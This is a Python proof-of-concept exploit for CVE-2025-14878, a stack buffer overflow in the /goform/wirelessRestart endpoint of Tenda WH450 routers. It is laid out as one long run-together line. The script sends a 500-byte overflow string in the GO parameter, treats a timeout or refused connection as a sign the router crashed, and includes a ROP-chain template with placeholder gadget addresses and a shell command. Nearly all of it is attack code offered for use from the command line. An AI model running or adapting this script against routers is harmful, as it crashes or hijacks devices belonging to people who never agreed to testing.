CVE-2025-14878

import requests import sys # CVE-2025-14878 PoC - Tenda WH450 /goform/wirelessRestart Buffer Overflow # Target: Tenda WH450 Router (Firmware 1.0.0.18) def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit for CVE-2025-14878 - Stack-based buffer overflow in /goform/wirelessRestart Args: target_ip: Target router IP address target_port: HTTP service port (default: 80) Returns: bool: True if exploit sent successfully """ target_url = f"http://{target_ip}:{target_port}/goform/wirelessRestart" # Create overflow payload - 500 bytes to trigger buffer overflow # This will overwrite stack memory including return address payload = "A" * 500 # Prepare POST data with GO parameter containing overflow payload data = { "GO": payload } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {len(payload)} bytes") # Send malicious request response = requests.post(target_url, data=data, timeout=5) print(f"[+] Exploit request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target may be vulnerable - connection timeout (possible crash)") return True except requests.exceptions.ConnectionError: print("[+] Target may be vulnerable - connection refused (possible crash)") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def create_rop_payload(): """ Generate ROP chain payload for code execution This is a template - actual ROP gadgets depend on firmware version """ # ROP gadgets for Tenda WH450 1.0.0.18 rop_chain = "" # Stack pivot gadget address rop_chain += "\xaa\xbb\xcc\xdd" # Stack pivot # Pop gadgets to setup registers rop_chain += "\x11\x22\x33\x44" # Pop gadget address rop_chain += "\xee\xff\x00\x00" # Value for $t9 # System function address rop_chain += "\x55\x66\x77\x88" # system() address # Return address rop_chain += "\x99\xaa\xbb\xcc" # Next gadget or nop slide # Command string rop_chain += "/bin/sh -c whoami\x00" # Pad to 500 bytes rop_chain = rop_chain.ljust(500, "\x90") return rop_chain if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14878.py <target_ip> [port]") print("Example: python cve-2025-14878.py 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-14878 - Tenda WH450 Buffer Overflow Exploit") print("=" * 60) exploit_buffer_overflow(target, port)

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